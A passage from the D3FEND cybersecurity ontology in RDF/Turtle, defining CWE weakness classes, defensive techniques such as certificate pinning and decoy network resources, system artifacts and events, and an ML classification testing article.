    rdfs:subClassOf d3f:CWE-138 .

d3f:CWE-522 a owl:Class ;
    rdfs:label "Insufficiently Protected Credentials" ;
    d3f:cwe-id "CWE-522" ;
    d3f:definition "The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval." ;
    rdfs:subClassOf d3f:CWE-1390,
        d3f:CWE-668 .

d3f:CWE-669 a owl:Class ;
    rdfs:label "Incorrect Resource Transfer Between Spheres" ;
    d3f:cwe-id "CWE-669" ;
    d3f:definition "The product does not properly transfer a resource/behavior to another sphere, or improperly imports a resource/behavior from another sphere, in a manner that provides unintended control over that resource." ;
    rdfs:subClassOf d3f:CWE-664 .

d3f:CWE-670 a owl:Class ;
    rdfs:label "Always-Incorrect Control Flow Implementation" ;
    d3f:cwe-id "CWE-670" ;
    d3f:definition "The code contains a control flow path that does not reflect the algorithm that the path is intended to implement, leading to incorrect behavior any time this path is navigated." ;
    rdfs:subClassOf d3f:CWE-691 .

d3f:CWE-863 a owl:Class ;
    rdfs:label "Incorrect Authorization" ;
    d3f:cwe-id "CWE-863" ;
    d3f:definition "The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check." ;
    d3f:synonym "AuthZ" ;
    rdfs:subClassOf d3f:CWE-285 .

d3f:CertificatePinning a d3f:CertificatePinning,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Certificate Pinning" ;
    d3f:authenticates d3f:PublicKey ;
    d3f:d3fend-id "D3-CP" ;
    d3f:definition "Persisting either a server's X.509 certificate or their public key and comparing that to server's presented identity to allow for greater client confidence in the remote server's identity for SSL connections." ;
    d3f:hardens d3f:Certificate ;
    d3f:kb-article """## How it works
Pinning allows for a trusted copy of a certificate or public key to be associated with a server and thus reducing the likelihood of frequently visited sites being subjected to man-in-the-middle attacks. Certificates or public keys can be pinned after a trusted connection has been established or the pinning can be preloaded in an application, which is the preferred method for mobile applications.

Pinning can take the form of certificate pinning or public key pinning.

## Forms of Pinning
* Certificate Pinning (CP) allows for the client to verify the X.509 certificate with a preloaded certificate. Typically, this is involves storing a hash of the certificate and using the stored hash for comparison to the hash of the certificate submitted during the SSL handshake.

* Public Key Pinning (PKP) requires the extraction of a public key from server's certificate. The stored public key is compared to the server's presented public key. A public key is expected to rotate less frequently than an X.509 certificate and is generally favored over certificate pinning.

An extension of PKP is Subject Public Key Information Pinning (SPKI) includes public key pinning plus additional information for SSL connections. The additional information can include preferred algorithms.

## Considerations

* With pinned certificates whenever a server updates its certificate, the pinned certificates will also need to be updated
* With pinned public keys the extracted key may be subject to key refresh policies but much less frequently
* Servers can become unavailable if pinned objects are set and not updated with the rotated identities. This may require a pinning strategy to be developed.
* The application of this technique within web browser applications has been [deprecated](https://developer.mozilla.org/en-US/docs/Web/HTTP/Public_Key_Pinning) by  popular web browser developers. They now favor certificate analysis via public certificate transparency logs, and the EXPECT-CT HTTP header.""" ;
    d3f:kb-reference d3f:Reference-CertificateAndPublicKeyPinning,
        d3f:Reference-End-to-endCertificatePinning,
        d3f:Reference-PublicKeyPinningExtensionForHTTP ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:authenticates ;
            owl:someValuesFrom d3f:PublicKey ],
        [ a owl:Restriction ;
            owl:onProperty d3f:hardens ;
            owl:someValuesFrom d3f:Certificate ],
        d3f:CredentialHardening .

d3f:Classification a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Classification" ;
    d3f:d3fend-id "D3A-CLA" ;
    d3f:definition "Classification uses an algorithm to accurately assign test data into specific categories." ;
    d3f:kb-article """## How it works
Classification recognizes specific entities within the dataset and attempts to draw some conclusions on how those entities should be labeled or defined. Common classification algorithms are linear classifiers, support vector machines (SVM), decision trees, k-nearest neighbor, and random forest, which are described in more detail below.

## Considerations:

There are many different types of classification algorithms for modeling classification predictive modeling problems.

There is no single theory on how to map algorithms onto problem types; instead, it is generally recommended that a practitioner use controlled experiments and discover which algorithm and algorithm configuration results in the best performance for a given classification task.

## Key Test Considerations

- **Machine Learning**:

  - **Verify the dataset quality**: Check the data to make sure it is
      free of errors.  Quantify the degree of missing values,
      outliers, and noise in the data collection.  If the data quality
      is low, it may be difficult or impossible to create models and
      systems with the desired performance.

  - **Verify development datasets are representative** of expected
      operational environment and data collection means.  Compare
      distributions of dataset features and labels with exploratory
      data analysis and assess the difference in tests on training
      data and tests on evaluation data (where the evaluation data
      must be drawn from a representative dataset.)

  - **Use software libraries**: and tools built for ML where possible, so
      that the underlying code is verified by prior use.**

  - **Diagnose model errors with domain SMEs**: Have problem domain
    SMEs investigate model errors for conditions for which the model
    may underperform and suggest refinements.

- **Classification**:

  - **Use Standard Classification Performance Measures**: Not all of
      the following may be necessary, but should be considered for
      both verification (developmental test) and operational test
      stages use:

    - **Accuracy**: The fraction of predictions that were corret.

    - **Precision**: The proportion of positive identifications that were correct.

    - **Recall**: The proportion of actual positive cases identified correctly.

    - **F-Measure**: Combines the preicion and recall into a single
        score.  It is the harmonic mean of the precision and recall.

    - **Receiver Operating Characteristic (ROC) Curve**: A ROC curve
        shows the performance of a classification model at all
        classification thresholds.  It graphs the True Positive Rate
        over the False Positive Rate.

    - **Area Under the ROC Curve (AUC)**: This measures the
        two-dimensional area under the ROC Curve.  AUC is
        scale-invariant and classification-threshold invariant.

    - **ROC TP vs FP points**: In addition to a specific AUC score,
        the performance at points

    - **Confusion Matrix**: A confusion matrix is a table layout that
        allows the visualization of the performance of an
        algorithm. Each row of the matrix represents the instances in
        an actual class while each column represents the instances in
        a predicted class, or vice versa. It is a special kind of
        contingency table, with two dimensions ("actual" and
        "predicted"), and identical sets of "classes" in both
        dimensions (each combination of dimension and class is a
        variable in the contingency table.)

  - **Prediction Bias**: The difference between the average of the
      predicted labels and the average of the labels in the data
      set.  One should check for prediction bias when evaluating the
      classifier's results. Causes of bias can include:

    - **Noisy data set**: Errors in original data can as the
      collection method may have an underlying bias.

    - **Processing bug**: Errors in the data pipeline can
      introduce bias.

    - **Biased training sample (unbalanced samples)**: Model
      parameters may be skewed towards majority classes.

	- **Overly strong regularization**: Model may be underfitting
        model and too simple.

	- **Proxy variables**: Model features may be highly
        correlated.

  - **Overfitting and Underfitting**: Overfitting occurs when the the
    model built corresponds too closely or exactly to a particular
    set of data, and thus may fail to fit to predict additional data
    reliably. An overfitted model is a mathematical model that
    contains more parameters than can be justified by the data.
    Underfitting occurs when the model built does adequately capture
    the patterns in the data. As an example, a linear model will
    underfit a non-linear dataset.

## Platforms, Tools, or Libraries:

- **Python**:

  - **scikit-learn**: Is a free software machine learning library for
      Python and includes features for classification.

  - **TensorFlow**: is an end-to-end source machine learning
    platform.

  - **Keras**: is an open-source library that provides a Python API
    designed to enable fast experimentation with deep neural networks.

  - **PyTorch**: Is a machine learning framework based on the Torch
    library.

- **R**:

  - **caret**: Classification And REgression Training package contains
      functions to streamline model training for complex regression
      and classification problems.

  - **randomForest**: Implementation of classification and regression
      based on forest of trees.

## References

1. Supervised Learning. IBM.
[Link](https://www.ibm.com/topics/supervised-learning).

1. Types of Classification in Machine Learning. Machine Learning Mastery.
[Link](https://machinelearningmastery.com/types-of-classification-in-machine-learning/).

1. Google. (18 July 2022). Classification: Precision and Recall.
[Link](https://developers.google.com/machine-learning/crash-course/classification/precision-and-recall).

1. Wikipedia. (18 Aug 2023). Overfitting.
[Link](https://en.wikipedia.org/wiki/Overfitting).

1. Wikipedia. (19 Aug 2023). Confusion matrix.
[Link](https://en.wikipedia.org/wiki/Confusion_matrix).""" ;
    rdfs:subClassOf d3f:SupervisedLearning .

d3f:ClientComputer a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Client Computer" ;
    d3f:definition "A client computer is a host that accesses a service made available by a server. The server is often (but not always) on another computer system, in which case the client accesses the service by way of a network." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Client_(computing)> ;
    rdfs:seeAlso <http://dbpedia.org/resource/Host_(network)> ;
    rdfs:subClassOf d3f:Host .

d3f:CloudConfiguration a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Cloud Configuration" ;
    d3f:definition "Information used to configure the services, parameters, and initial settings for a virtual server instance running in a cloud service." ;
    rdfs:subClassOf d3f:ConfigurationResource ;
    skos:altLabel "Cloud Configuration Information" .

d3f:CloudUserAccount a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Cloud User Account" ;
    d3f:definition "A user account on a given host is a local user account for a given cloud and specified resources within that cloud." ;
    rdfs:subClassOf d3f:UserAccount .

d3f:CommandHistoryLog a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Command History Log" ;
    d3f:definition "A log of commands run in an operating system shell." ;
    rdfs:seeAlso d3f:CommandLineInterface,
        <http://dbpedia.org/resource/Command_history> ;
    rdfs:subClassOf d3f:EventLog .

d3f:ComputerEnclosure a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Computer Enclosure" ;
    d3f:definition "A part providing protection of computer equipment against certain external influences and protects against direct contact." ;
    rdfs:seeAlso <https://dbpedia.org/page/Category:Computer_enclosure>,
        "[IEV 826-03-12]" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-contain ;
            owl:someValuesFrom d3f:PhysicalLock ],
        [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:ComputerPlatform ],
        d3f:PhysicalArtifact .

d3f:ContentModification a d3f:ContentModification,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Content Modification" ;
    d3f:d3fend-id "D3-CM" ;
    d3f:definition "Modify content that does not comply with policy." ;
    d3f:filters d3f:DigitalMedia,
        d3f:FileContentBlock,
        d3f:FileMetadata ;
    d3f:kb-article """## How it works

When content is found to not comply with it's content policy, it may be transformed to a safer state by modifying it.""" ;
    d3f:kb-reference d3f:Reference-MethodForContentDisarmandReconstruction_OPSWATInc ;
    d3f:modifies d3f:File ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:filters ;
            owl:someValuesFrom d3f:FileContentBlock ],
        [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:File ],
        [ a owl:Restriction ;
            owl:onProperty d3f:filters ;
            owl:someValuesFrom d3f:FileMetadata ],
        [ a owl:Restriction ;
            owl:onProperty d3f:filters ;
            owl:someValuesFrom d3f:DigitalMedia ],
        d3f:ContentFiltering .

d3f:DecoyNetworkResource a d3f:DecoyNetworkResource,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Decoy Network Resource" ;
    d3f:d3fend-id "D3-DNR" ;
    d3f:definition "Deploying a network resource for the purposes of deceiving an adversary." ;
    d3f:kb-article """## How it works
Decoy network resources are deployed to web application servers, network file shares, or other network based sharing services.

A "honeypot" may serve a variety of decoy network resources.

## Considerations

* Developing a deployment and placement strategy for the decoy network resource.
* Personnel responsible for creation of decoy networks should consider the potential for resource exhaustion through denial of service attacks.

## Examples
* Honeypots are typically used to mimic a known system with fake vulnerabilities. This may attract attackers to the honeypot.
* Decoy accounts are also used to scan for attempted logins. The decoy accounts can provide security analysts with the attacker's potential intents and strategies.
* Tarpits are used to monitor unallocated IP space for unauthorized network activity.""" ;
    d3f:kb-reference d3f:Reference-AutomaticallyGeneratingNetworkResourceGroupsAndAssigningCustomizedDecoyPoliciesThereto_IllusiveNetworksLtd,
        d3f:Reference-Deception-BasedResponsesToSecurityAttacks_CrowdstrikeInc,
        d3f:Reference-DynamicSelectionAndGenerationOfAVirtualCloneForDetonationOfSuspiciousContentWithinAHoneyNetwork_PaloAltoNetworksInc,
        d3f:Reference-SystemAndMethodForIdentifyingThePresenceOfMalwareUsingMini-trapsSetAtNetworkEndpoints_FidelisCybersecuritySolutionsInc ;
    d3f:spoofs d3f:NetworkResource ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:spoofs ;
            owl:someValuesFrom d3f:NetworkResource ],
        d3f:DecoyObject .

d3f:DeveloperApplication a owl:Class ;
    rdfs:label "Developer Application" ;
    d3f:definition "An application used to develop computer software including applications used for software construction, analysis, testing, packaging, or management." ;
    rdfs:seeAlso <http://dbpedia.org/resource/Application_development>,
        <http://dbpedia.org/resource/Application_software> ;
    rdfs:subClassOf d3f:UserApplication .

d3f:Event a owl:Class ;
    rdfs:label "Event" ;
    d3f:definition "An Event is an occurrence or action within a system, process, or environment within a finite span of time." ;
    rdfs:subClassOf d3f:D3FENDCore .

d3f:FTPEvent a owl:Class ;
    rdfs:label "FTP Event" ;
    d3f:definition "An event involving the File Transfer Protocol (FTP), a standard network protocol used to transfer files between a client and server over a TCP/IP network. FTP facilitates operations such as file uploads, downloads, directory listing, and remote file management." ;
    rdfs:seeAlso <https://schema.ocsf.io/1.3.0/classes/ftp_activity> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:FileTransferNetworkTraffic ],
        d3f:ApplicationLayerEvent,
        d3f:TCPEvent .

d3f:FileFormatVerification a d3f:FileFormatVerification,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "File Format Verification" ;
    d3f:analyzes d3f:FileSection ;
    d3f:d3fend-id "D3-FFV" ;
    d3f:definition "Verifying that a file conforms to its expected format specifications" ;
    d3f:kb-reference d3f:Reference-FileSecurityUsingFileFormatValidation_OPSWATInc ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:analyzes ;
            owl:someValuesFrom d3f:FileSection ],
        d3f:ContentValidation .

d3f:FileSystemLink a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "File System Link" ;
    d3f:definition "A file system link associates a name with a file on a file system.  Most generally, this may be a direct reference (a hard link) or an indirect one (a soft link)." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Hard_link> ;
    rdfs:subClassOf d3f:DigitalInformationBearer .

d3f:GetRunningProcesses a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Get Running Processes" ;
    d3f:enumerates d3f:Process ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enumerates ;
            owl:someValuesFrom d3f:Process ],
        d3f:SystemCall .

d3f:GetSystemTime a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Get System Time" ;
    d3f:definition "A system call that gets the system time.  For POSIX.1 systems, time() invokes a call to get the system time." ;
    rdfs:seeAlso <https://man7.org/linux/man-pages/man2/time.2.html> ;
    rdfs:subClassOf d3f:SystemCall .

d3f:GroupManagementEvent a owl:Class ;
    rdfs:label "Group Management Event" ;
    d3f:definition "An event involving the creation, modification, or deletion of a group, or changes to its membership and privileges. Group management events facilitate the enforcement of role-based access control by organizing users and permissions into logical units for streamlined administration and policy enforcement." ;
    rdfs:seeAlso <https://schema.ocsf.io/1.3.0/classes/group_management> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:AccessControlGroup ],
        d3f:DigitalEvent .

d3f:GroupPolicy a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Group Policy" ;
    d3f:definition "Group Policy is a feature of the Microsoft Windows NT family of operating systems that controls the working environment of user accounts and computer accounts. Group Policy provides the centralized management and configuration of operating systems, applications, and users' settings in an Active Directory environment. A version of Group Policy called Local Group Policy (\"LGPO\" or \"LocalGPO\") also allows Group Policy Object management on standalone and non-domain computers." ;
    rdfs:subClassOf d3f:AccessControlConfiguration .

d3f:HomogenousTransferLearning a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Homogenous Transfer Learning" ;
    d3f:d3fend-id "D3A-HTL" ;
    d3f:definition "In homogeneous transfer learning, the feature spaces of the source and target domains is of the same dimension (Ds = Dt) while the data of both domains is represented by the same attributes (Xs = Xt) and labels (Ys = Yt). Thus, homogeneous transfer learning aims to bridge the gap in the data distributions experienced during cross-domain transfer." ;
    d3f:kb-article """## References
Khalil, K., Asgher, U., & Ayaz, Y. (2022). Novel fNIRS study on homogeneous symmetric feature-based transfer learning for brain-computer interface. Scientific Reports, 12, 3198. [Link](https://www.nature.com/articles/s41598-022-06805-4).""" ;
    rdfs:subClassOf d3f:TransferLearning .

d3f:JobSchedulerSoftware a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Job Scheduler Software" ;
    d3f:creates d3f:ScheduledJob ;
    d3f:definition "A job scheduler software is operating system software that when run executes scheduled tasks (time-scheduling in the sense of wall clock time; not operating system scheduling of processes for multitasking). Processes running such software are task scheduler processes. In Windows, Scheduled Tasks are created and managed by the Task Scheduler. In Unix-like OSes, the `cron` utitility serves a similar role." ;
    d3f:modifies d3f:JobSchedule,
        d3f:ScheduledJob ;
    d3f:synonym "Task Scheduler Software" ;
    rdfs:seeAlso d3f:ScheduledJob,
        <http://dbpedia.org/resource/Cron>,
        <http://dbpedia.org/resource/Windows_Task_Scheduler> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:ScheduledJob ],
        [ a owl:Restriction ;
            owl:onProperty d3f:creates ;
            owl:someValuesFrom d3f:ScheduledJob ],
        [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:JobSchedule ],
        d3f:SystemServiceSoftware .

d3f:KerberosTicket a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Kerberos Ticket" ;
    d3f:definition "An access ticket/token issued by a Kerberos system." ;
    rdfs:subClassOf d3f:AccessToken .

d3f:Kernel a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Kernel" ;
    d3f:contains d3f:KernelProcessTable ;
    d3f:definition "The kernel is a computer program that constitutes the central core of a computer's operating system. It has complete control over everything that occurs in the system. As such, it is the first program loaded on startup, and then manages the remainder of the startup, as well as input/output requests from software, translating them into data processing instructions for the central processing unit. It is also responsible for managing memory, and for managing and communicating with computing peripherals, like printers, speakers, etc. The kernel is a fundamental part of a modern computer's operating system." ;
    d3f:loads d3f:Application ;
    d3f:manages d3f:OperatingSystemProcess,
        d3f:UserProcess ;
    d3f:may-contain d3f:HardwareDriver,
        d3f:KernelModule ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Kernel_(operating_system)> ;
    rdfs:seeAlso <https://schema.ocsf.io/objects/kernel> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-contain ;
            owl:someValuesFrom d3f:KernelModule ],
        [ a owl:Restriction ;
            owl:onProperty d3f:manages ;
            owl:someValuesFrom d3f:OperatingSystemProcess ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-contain ;
            owl:someValuesFrom d3f:HardwareDriver ],
        [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:KernelProcessTable ],
        [ a owl:Restriction ;
            owl:onProperty d3f:manages ;
            owl:someValuesFrom d3f:UserProcess ],
        [ a owl:Restriction ;
            owl:onProperty d3f:loads ;
            owl:someValuesFrom d3f:Application ],
        d3f:SystemSoftware .

d3f:Kernel-basedProcessIsolation a d3f:Kernel-basedProcessIsolation,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Kernel-based Process Isolation" ;
    d3f:d3fend-id "D3-KBPI" ;
    d3f:definition "Using kernel-level capabilities to isolate processes." ;
    d3f:isolates d3f:Process ;
    d3f:kb-reference d3f:Reference-OverviewOfTheSeccompSandbox ;
    rdfs:comment "e.g. KVM" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:isolates ;
            owl:someValuesFrom d3f:Process ],
        d3f:ExecutionIsolation .

d3f:LogicalLink a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Logical Link" ;
    d3f:definition "A Logical Link is an abstract or virtual connection between two entities that facilitates communication or data exchange without requiring a direct physical connection." ;
    rdfs:subClassOf d3f:Link .

d3f:MailServer a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Mail Server" ;
    d3f:definition "Within the Internet email system, a message transfer agent or mail transfer agent (MTA) or mail relay is software that transfers electronic mail messages from one computer to another using SMTP. The terms mail server, mail exchanger, and MX host are also used in some contexts. Messages exchanged across networks are passed between mail servers, including any attached data files (such as images, multimedia or documents). These servers also often keep mailboxes for email. Access to this email by end users is typically either via webmail or an email client." ;
    d3f:runs d3f:MessageTransferAgent ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Message_transfer_agent> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:runs ;
            owl:someValuesFrom d3f:MessageTransferAgent ],
        d3f:Server ;
    skos:altLabel "Email Server Resource",
        "MTA",
        "MX Host",
        "Mail Exchanger",
        "Mail transfer agent",
        "Message transfer agent" .

d3f:MemoryAllocationEvent a owl:Class ;
    rdfs:label "Memory Allocation Event" ;
    d3f:definition "An event representing the allocation of memory resources to a process, providing it with the capacity to store data or execute instructions." ;
    rdfs:subClassOf d3f:MemoryEvent .

d3f:MemoryEvent a owl:Class ;
    rdfs:label "Memory Event" ;
    d3f:definition "An event capturing operations on the memory resources of a system, encompassing allocation, modification, access, protection, or deallocation." ;
    rdfs:seeAlso <https://schema.ocsf.io/1.3.0/classes/memory_activity> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:MemoryExtent ],
        [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:MemoryAddress ],
        d3f:DigitalEvent .

d3f:NTPEvent a owl:Class ;
    rdfs:label "NTP Event" ;
    d3f:definition "An event involving the Network Time Protocol (NTP), a protocol designed to synchronize the clocks of computer systems over packet-switched, variable-latency data networks, UDP as its transport protocol." ;
    rdfs:seeAlso <https://schema.ocsf.io/1.3.0/classes/ntp_activity> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:NetworkTimeServer ],
        d3f:ApplicationLayerEvent,
        d3f:UDPEvent .

d3f:NetworkConnectionEvent a owl:Class ;
    rdfs:label "Network Connection Event" ;
    d3f:definition "An event related to the establishment, maintenance, or termination of a network connection." ;
    rdfs:seeAlso <https://schema.ocsf.io/1.3.0/classes/network_activity> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:NetworkSession ],
        d3f:NetworkEvent .

d3f:NetworkFileShareResource a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Network File Share Resource" ;
    d3f:definition "A shared file resource, or network file share, is a computer file made available from one host to other hosts on a computer network. Network sharing is made possible by inter-process communication over the network. It includes both files and directories." ;
    rdfs:subClassOf d3f:NetworkResource .

d3f:NetworkMapping a d3f:NetworkMapping,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Network Mapping" ;
    d3f:d3fend-id "D3-NM" ;
    d3f:definition "Network mapping encompasses the techniques to identify and model the physical layer, network layer, and data exchange layers of the organization's network and their physical location, and determine allowed pathways through that network." ;
    d3f:display-order 3 ;
    d3f:enables d3f:Model ;
    rdfs:seeAlso <https://en.wikipedia.org/wiki/Network_topology> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:Model ],
        d3f:DefensiveTechnique .

d3f:NetworkService a owl:Class ;
    rdfs:label "Network Service" ;
    d3f:definition "In computer networking, a network service is an application running at the network application layer and above, that provides data storage, manipulation, presentation, communication or other capability which is often implemented using a client-server or peer-to-peer architecture based on application layer network protocols. Clients and servers will often have a user interface, and sometimes other hardware associated with it." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Network_service> ;
    rdfs:subClassOf d3f:ServiceApplicationProcess .

d3f:OSAPICreateThread a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "OS API Create Thread" ;
    d3f:definition "An OS API function that creates a new thread of execution within a process." ;
    d3f:invokes d3f:CreateThread ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:CreateThread ],
        d3f:OSAPISystemFunction .

d3f:OSAPIOpenFile a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "OS API Open File" ;
    d3f:definition "An OS API function that opens a file for reading, writing, or both, and return a handle or descriptor that can be used to interact with the file." ;
    d3f:invokes d3f:OpenFile ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:OpenFile ],
        d3f:OSAPISystemFunction .

d3f:OTDeviceManagementMessage a owl:Class ;
    rdfs:label "OT Device Management Message" ;
    d3f:definition "Manage devices and their configurations." ;
    rdfs:seeAlso <https://icscsi.org/library/Documents/ICS_Protocols/Control%20Microsystems%20-%20DNP3%20User%20and%20Reference%20Manual.pdf>,
        <https://modbus.org/docs/Modbus_Application_Protocol_V1_1b3.pdf>,
        <https://nvlpubs.nist.gov/nistpubs/TechnicalNotes/NIST.TN.2023.pdf> ;
    rdfs:subClassOf d3f:OTProtocolMessage .

d3f:OTWriteCommand a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "OT Write Command" ;
    d3f:definition "Write or store data." ;
    rdfs:comment """BACnet: atomicWriteFile
BACnet: addListElement
BACnet: removeListElement
BACnet: createObject
BACnet: deleteObject
BACnet: writeProperty
BACnet: writePropertyMultiple
BACnet: write-group """,
        """CIP: Set Attributes All
CIP: Set Attribute List
CIP: Set Attribute Single
CIP: Set Member
CIP: Insert Member
CIP: Remove Member """,
        """GE-SRTP: WRITE SYSTEM MEMORY
GE-SRTP: WRITE TASK MEMORY """,
        """Modbus: Write Single Coil
Modbus: Write Single Register
Modbus: Write Multiple Coils
Modbus: Write Multiple Registers
Modbus: Write File Record
Modbus: Mask Write Register
Modbus: Read Write Register""" ;
    rdfs:seeAlso <https://icscsi.org/library/Documents/ICS_Protocols/Control%20Microsystems%20-%20DNP3%20User%20and%20Reference%20Manual.pdf>,
        <https://modbus.org/docs/Modbus_Application_Protocol_V1_1b3.pdf>,
        <https://nvlpubs.nist.gov/nistpubs/TechnicalNotes/NIST.TN.2023.pdf> ;
    rdfs:subClassOf d3f:OTProcessDataCommand .

d3f:ObjectEviction a d3f:ObjectEviction,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Object Eviction" ;
    d3f:d3fend-id "D3-OE" ;
    d3f:definition "Terminate or remove an object from a host machine. This is the broadest class for object eviction." ;
    d3f:enables d3f:Evict ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:Evict ],
        d3f:DefensiveTechnique .

d3f:OpenFile a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Open File" ;
    d3f:accesses d3f:File ;
    d3f:definition "For most file systems, a program initializes access to a file in a file system using the open system call. This allocates resources associated to the file (the file descriptor), and returns a handle that the process will use to refer to that file. In some cases the open is performed by the first access. During the open, the filesystem may allocate memory for buffers, or it may wait until the first operation. Various other errors which may occur during the open include directory update failures, un-permitted multiple connections, media failures, communication link failures and device failures." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Open_(system_call)> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:accesses ;
            owl:someValuesFrom d3f:File ],
        d3f:SystemCall .

d3f:Organization a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Organization" ;
    d3f:definition "An organization with a defined mission/goal and a defined boundary, using systems to execute that mission, and with responsibility for managing its own risks and performance. An enterprise may consist of all or some of the following business aspects: acquisition, program management, human resources, financial management, security, and systems, information and mission management" ;
    rdfs:seeAlso d3f:NIST_SP_800-53_R5 ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-member ;
            owl:someValuesFrom d3f:Person ],
        d3f:AgentGroup,
        d3f:Non-PersonEntity .

d3f:OutboundInternetEncryptedWebTraffic a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Outbound Internet Encrypted Web Traffic" ;
    d3f:definition "Outbound internet encrypted web traffic is network traffic using a standard web protocol on an outgoing connection initiated from a host within a network to a host outside the network." ;
    rdfs:seeAlso <http://dbpedia.org/resource/Internetworking> ;
    rdfs:subClassOf d3f:OutboundInternetEncryptedTraffic,
        d3f:OutboundInternetWebTraffic .

d3f:OutboundNetworkTraffic a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Outbound Network Traffic" ;
    d3f:definition "Outbound traffic is network traffic originating from a host of interest (client), to another host (server)." ;
    rdfs:subClassOf d3f:NetworkTraffic .

d3f:Partition a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Partition" ;
    d3f:definition "A partition is a region on secondary storage device created so that the region can be managed by itself; separate from any other regions (partitions) on that secondary storage device. Creating partitions is typically the first step of preparing a newly installed storage device, before any file system is created. The device stores the information about the partitions' locations and sizes in an area known as the partition table that the operating system reads before any other part of the disk. Each partition then appears to the operating system as a distinct \"logical\" storage device that uses part of the actual device. System administrators use a program called a partition editor to create, resize, delete, and manipulate the partitions. Partitioning allows the use of different filesystems to be installed for different kinds of files. Separating user data from system data can prevent the system partition from becoming full and rendering the system unusable. Partitioning can also make backing up easier. [Definition adapted as generalization from definition of disk partitioning and distinct from in-memory partitions.]" ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Disk_partitioning> ;
    rdfs:seeAlso <http://dbpedia.org/resource/Memory_management_(operating_systems)>,
        <http://dbpedia.org/resource/Partition_table> ;
    rdfs:subClassOf d3f:DigitalInformationBearer ;
    skos:altLabel "Disk Partition",
        "Disk Slice" .

d3f:PasswordFile a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Password File" ;
    d3f:definition "Simple form of password database held in a single file (e.g., /etc/password)" ;
    rdfs:subClassOf d3f:File,
        d3f:PasswordDatabase .

d3f:PhysicalAccessMonitoring a d3f:PhysicalAccessMonitoring,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Physical Access Monitoring" ;
